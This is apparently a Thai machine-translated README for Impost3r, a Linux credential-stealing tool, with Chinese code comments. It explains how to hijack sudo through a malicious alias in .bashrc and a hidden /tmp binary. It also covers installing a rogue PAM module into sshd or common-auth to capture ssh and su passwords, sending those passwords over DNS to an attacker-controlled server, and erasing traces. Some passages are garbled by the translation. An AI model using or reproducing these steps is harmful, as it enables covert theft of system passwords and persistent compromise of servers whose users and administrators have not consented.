ภาษาอังกฤษ
Impost3r เป็นเครื่องมือที่เขียนด้วยภาษา C และใช้ในการขโมยรหัสผ่านต่างๆ (ssh, su, sudo) ภายใต้ Linux
ผู้ใช้สามารถใช้โปรแกรมนี้เพื่อสร้างรูรดน้ำเพื่อขโมยรหัสผ่านของผู้ใช้ที่ถูกกฎหมาย
เครื่องมือนี้มีไว้เพื่อการวิจัยและการสอนด้านความปลอดภัยเท่านั้น และผู้ใช้จะต้องรับผิดชอบทางกฎหมายและที่เกี่ยวข้องทั้งหมดที่เกิดจากการใช้เครื่องมือนี้! ผู้เขียนไม่รับผิดชอบต่อกฎหมายและความรับผิดชอบที่เกี่ยวข้อง!
ลบร่องรอยของพฤติกรรมโดยอัตโนมัติ
ถ่ายโอนผลลัพธ์ผ่านโปรโตคอล DNS
ผู้ใช้ไม่แยแส
จีซีซี
Impost3r สามารถใช้เพื่อขโมยรหัสผ่าน รวมถึงบริการ sudo, su และ ssh
ต้องการเพียงสิทธิ์ผู้ใช้ทั่วไปเท่านั้น ไม่จำเป็นต้องรูท อย่างไรก็ตาม สามารถขโมยรหัสผ่านของผู้ใช้ที่เกี่ยวข้องเท่านั้น และไม่สามารถขโมยรหัสผ่านของผู้ใช้รายอื่นได้
ขั้นแรก สมมติว่าผู้โจมตีควบคุมเซิร์ฟเวอร์ด้วยสิทธิ์ผู้ใช้ทั่วไป
ตรวจสอบว่ามีไฟล์ .bash_profile
อยู่ในไดเร็กทอรีรากของผู้ใช้หรือไม่ หากมี .bash_profile
อยู่ ให้ตรวจสอบว่ามีการโหลด .bashrc
ในไฟล์ .bash_profile
อยู่หรือไม่ หากมีการโหลดอยู่ ให้ข้ามขั้นตอนนี้และตรวจสอบสองครั้งถัดไป และดำเนินการต่อในขั้นตอนถัดไป หากไม่ได้โหลดอยู่ การตรวจสอบสองขั้นตอนถัดไปจะถูกข้ามไป และ การดำเนินการทั้งหมดสำหรับ .bashrc
ต่อไปนี้จะถูกแทนที่ด้วยการดำเนินการสำหรับ .bash_profile
!!! หากไม่มี .bash_profile
: ขั้นตอนต่อไปของการตรวจสอบ
ตรวจสอบว่ามีไฟล์ .bash_login
อยู่ในไดเร็กทอรีรากของผู้ใช้หรือไม่ หากมี .bash_login
ให้ตรวจสอบว่ามีการโหลด .bashrc
ในไฟล์ .bash_login
หรือไม่ หากมีการโหลดอยู่ ให้ข้ามขั้นตอนนี้และการตรวจสอบครั้งถัดไปและดำเนินการต่อไป หากไม่มี ให้ข้ามขั้นตอนนี้และขั้นตอนถัดไป หากไม่มี . .bash_login
.bashrc
ดำเนินการต่อไป .bash_login
การตรวจสอบครั้งต่อไป
ตรวจสอบว่ามีไฟล์ .profile
อยู่ในไดเร็กทอรีรากของผู้ใช้หรือไม่ หากมีไฟล์ .profile
อยู่ ให้ตรวจสอบว่ามีการโหลด .bashrc
ในไฟล์ .profile
หรือไม่ (โหลดตามค่าเริ่มต้นแล้ว) หากมีการโหลดอยู่ ให้ข้ามขั้นตอนนี้และดำเนินการต่อ การดำเนินการที่ตามมา หากไม่ได้โหลดอยู่ การดำเนินการทั้งหมดสำหรับ .bashrc
ต่อไปนี้จะถูกแทนที่ด้วยการดำเนินการสำหรับ .profile
!!! ;หากไม่มี .profile
ตามหลักการแล้ว Impost3r จะไม่สามารถใช้งานได้ แน่นอน คุณสามารถเลือกได้ว่าจะสร้างไฟล์ .bash_profile
หรือ .profile
ขึ้นอยู่กับสถานการณ์ และเขียนโค้ดการโหลดที่คล้ายกับ ตามมาเพื่อโหลด .bashrc
if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
คัดลอกสำเนาของ .bashrc
: cp ~/.bashrc /tmp/
ของผู้ใช้ และวางสำเนานี้ในเส้นทางที่กำหนดเองของผู้โจมตี (ในตัวอย่างนี้ จะวางไว้ในไดเร็กทอรี /tmp/ และผู้โจมตีสามารถแก้ไขได้)
แก้ไข .bashrc
(~/.bashrc) ในไดเรกทอรีรากของผู้ใช้ และเพิ่มคำสั่งต่อไปนี้ในบรรทัดสุดท้าย (โดยที่ "/tmp/.impost3r" ต้องสอดคล้องกับ FILENAME ด้านล่าง):
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
หลังจากการเพิ่มเสร็จสิ้น ให้บันทึกไฟล์และดำเนินการ source ~/.bashrc
จากนั้นผู้โจมตีจำเป็นต้องแก้ไขซอร์สโค้ด Impost3r /sudo/main.h
:
/* Custom setting */ # define FILENAME "/tmp/.impost3r" 设置Impost3r在目标服务器上的位置 # define BACKUP_ORI_FILENAME ".bashrc" 表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login # define BACKUP_ORI_PATH "/tmp/.bashrc" 表明攻击者所备份的源用户配置文件在目标服务器上的位置 # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数 # define RESEND_INTERVAL 5 设置每一次发送密码的间隔 # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
หลังจากการแก้ไขเสร็จสิ้น ให้บันทึกและดำเนินการ make
ในไดเร็กทอรีปัจจุบัน
รับไฟล์ .impost3r
ที่คอมไพล์แล้วในไดเร็กทอรีปัจจุบัน
อัปโหลด (ลองคอมไพล์บนเซิร์ฟเวอร์เป้าหมายเพื่อป้องกันข้อผิดพลาดที่ไม่คาดคิด) ไฟล์ .impost3r
ไปยังโฟลเดอร์ /tmp/
ของเซิร์ฟเวอร์เป้าหมาย (เฉพาะตัวอย่างเท่านั้น คุณสามารถแก้ไขได้ด้วยตนเอง ตราบใดที่มันเหมือนกับคำจำกัดความใน ซอร์สโค้ด)
ผู้โจมตีจะเริ่มโปรแกรมเซิร์ฟเวอร์ DNS บนเซิร์ฟเวอร์ของเขาเอง และรอให้ผู้ใช้ที่ถูกต้องใช้ sudo
เพื่อรับรหัสผ่าน
ในกรณีที่ขโมยรหัสผ่าน sudo Impost3r จะลบร่องรอยโดยอัตโนมัติหลังจากประสบความสำเร็จ และผู้โจมตีไม่จำเป็นต้องเข้าไปทำความสะอาดด้วยตนเอง
Impost3r จะกำหนดโดยอัตโนมัติว่ารหัสผ่านที่ผู้ใช้ป้อนเป็นรหัสผ่านที่ถูกต้องหรือไม่ โดยจะไม่สิ้นสุดกระบวนการจนกว่าผู้ใช้จะป้อนรหัสผ่านที่ถูกต้องและลบร่องรอย
โปรดใช้ sudo -v
เพื่อตรวจสอบว่าผู้ใช้ปัจจุบันอยู่ในกลุ่ม sudoer
หรือไม่ ก่อนที่จะใช้ Impost3r
การขโมยรหัสผ่าน ssh/su นั้นแตกต่างจากวิธีการขโมยรหัสผ่าน sudo และการใช้ช่องโหว่ข้างต้น โดยต้องใช้สิทธิ์รูทและสามารถขโมยรหัสผ่านผู้ใช้ใดๆ ได้
ต่อไปนี้เป็นตัวอย่าง Centos ไฟล์ที่ใช้และวิธีการแก้ไขไฟล์อาจแตกต่างกัน
ขั้นแรก สมมติว่าผู้โจมตีควบคุมเซิร์ฟเวอร์
ได้รับสิทธิ์รูทผ่านการดำเนินการยกระดับสิทธิ์ (หรือผู้ดูแลระบบที่น่ารักเริ่มบริการด้วยสิทธิ์รูท)
ขั้นแรกให้แก้ไขไฟล์ซอร์สโค้ด /ssh_su/main.h
ของ Impost3r
/* Custom setting */ # define SSH_OR_BOTH 0 设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别) # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效) # define RESEND_INTERVAL 5 设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效) # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
หลังจากการแก้ไขเสร็จสิ้น ให้บันทึกและดำเนินการ make
ในไดเร็กทอรีปัจจุบัน
รับไฟล์ที่คอมไพล์แล้ว impost3r.so
อัปโหลด impost3r.so
ที่คอมไพล์แล้ว (พยายามคอมไพล์บนเซิร์ฟเวอร์เป้าหมายเพื่อป้องกันข้อผิดพลาดที่ไม่คาดคิด) ไปที่ /lib/x86_64-linux-gnu/security
ของเครื่องเป้าหมาย (เครื่องที่แตกต่างกันอาจมีชื่อโฟลเดอร์ที่แตกต่างกัน โปรดวางไว้ตาม สถานการณ์) )
เข้าสู่ /etc/pam.d
มีสองสถานการณ์ในขณะนี้ หากโหมดที่เลือกคือการขโมยรหัสผ่าน ssh เท่านั้น คุณจะต้องดำเนินการ vi sshd
และเพิ่มคำสั่งต่อไปนี้ที่ส่วนท้ายของไฟล์ (ควรเป็น ระบุไว้ที่นี่ว่ายกเว้น Ubuntu ไฟล์อื่น ๆ ที่ใช้ระบบ Linux นี้อาจแตกต่างจาก Ubuntu ค่อนข้างมาก ขอแนะนำให้อ่านกฎด้วยตัวเองแล้วเพิ่มในตำแหน่งที่เหมาะสม)
auth optional impost3r.so account optional impost3r.so
บันทึกและออก รีสตาร์ท service sshd restart
หากคุณเลือกที่จะขโมยรหัสผ่าน ssh และ su พร้อมกัน คุณจะต้องดำเนินการ vi common-auth
เพิ่มคำสั่งเดียวกัน บันทึกและออก และรีสตาร์ทบริการ sshd ด้วยเช่นกัน
ผู้โจมตีจะเริ่มต้นโปรแกรมเซิร์ฟเวอร์ DNS บนเซิร์ฟเวอร์ของเขาเอง และรอให้ผู้ใช้ที่ถูกต้องใช้ ssh
เพื่อเข้าสู่ระบบเครื่องเป้าหมาย หรือใช้ su
เพื่อสลับผู้ใช้เพื่อรับรหัสผ่าน
ในกรณีที่ขโมยรหัสผ่าน ssh/su Impost3r จะไม่สามารถล้างร่องรอยได้เนื่องจากเหตุผลในการอนุญาต และผู้โจมตีจำเป็นต้องล้างรหัสผ่านด้วยตนเอง
โปรดทราบว่าหากตั้งค่าให้ขโมยเฉพาะรหัสผ่าน SSH โดยทั่วไปจะรับประกันได้ว่าผู้โจมตีจะได้รับผลการโจรกรรม 100% แต่หากทั้งสองตั้งค่าให้ขโมยพร้อมกัน ก็ไม่จำเป็นต้องรับประกันว่า ผู้โจมตีจะได้รับผลการโจรกรรม (เฉพาะในกรณีที่ตั้งค่าไว้ เมื่อส่งสำหรับ DNS การตั้งค่าให้บันทึกในเครื่องจะไม่ได้รับผลกระทบ)
ไม่แนะนำให้ขโมยรหัสผ่าน su และเนื่องจากรหัสผ่าน ssh ของผู้ใช้เหมือนกับรหัสผ่าน su หากคุณไม่สามารถขโมยรหัสผ่าน su ได้ ก็อย่าขโมยรหัสผ่านนั้น
รหัสผ่านที่ว่างเปล่าจะไม่ถูกขโมยโดยค่าเริ่มต้น โปรดลองดูว่าผู้ใช้มีรหัสผ่านว่างเปล่าหรือไม่ (ตรวจสอบว่ามี PermitEmptyPasswords yes
ในไฟล์การกำหนดค่า sshd หรือไม่ หากว่างเปล่าแสดงว่ายังคงเป็นโกสต์)
ฉันใช้ Fdns สำหรับโปรแกรมเซิร์ฟเวอร์ Dns และแก้ไขพารามิเตอร์บางตัว คุณสามารถค้นหาซอร์สโค้ดที่แก้ไขได้ในโฟลเดอร์ Fdns โปรดใช้คำสั่ง gcc -o dns main.c util.c
เพื่อคอมไพล์ด้วยตัวเอง (โปรดทราบว่าคุณต้องแก้ไขมัน พอร์ตการฟังครั้งแรกใน main.c)
ก่อนที่จะคอมไพล์ Fdns โปรดตรวจสอบค่า YOUR_DOMAIN
ใน util.h
เพื่อให้แน่ใจว่าค่านี้สอดคล้องกับค่า YOUR_DOMAIN
ที่ใช้ในการคอมไพล์โปรแกรม Impost3r ที่ฝังบนเซิร์ฟเวอร์ มิฉะนั้น การโจรกรรมอาจล้มเหลว
โปรแกรมนี้ได้รับการพัฒนาและศึกษาเฉพาะในเวลาว่างเท่านั้น อาจมีข้อบกพร่องในการทำงาน โปรดยกโทษให้ฉันและยินดีรับข้อเสนอแนะ
ฉ
libbaseencode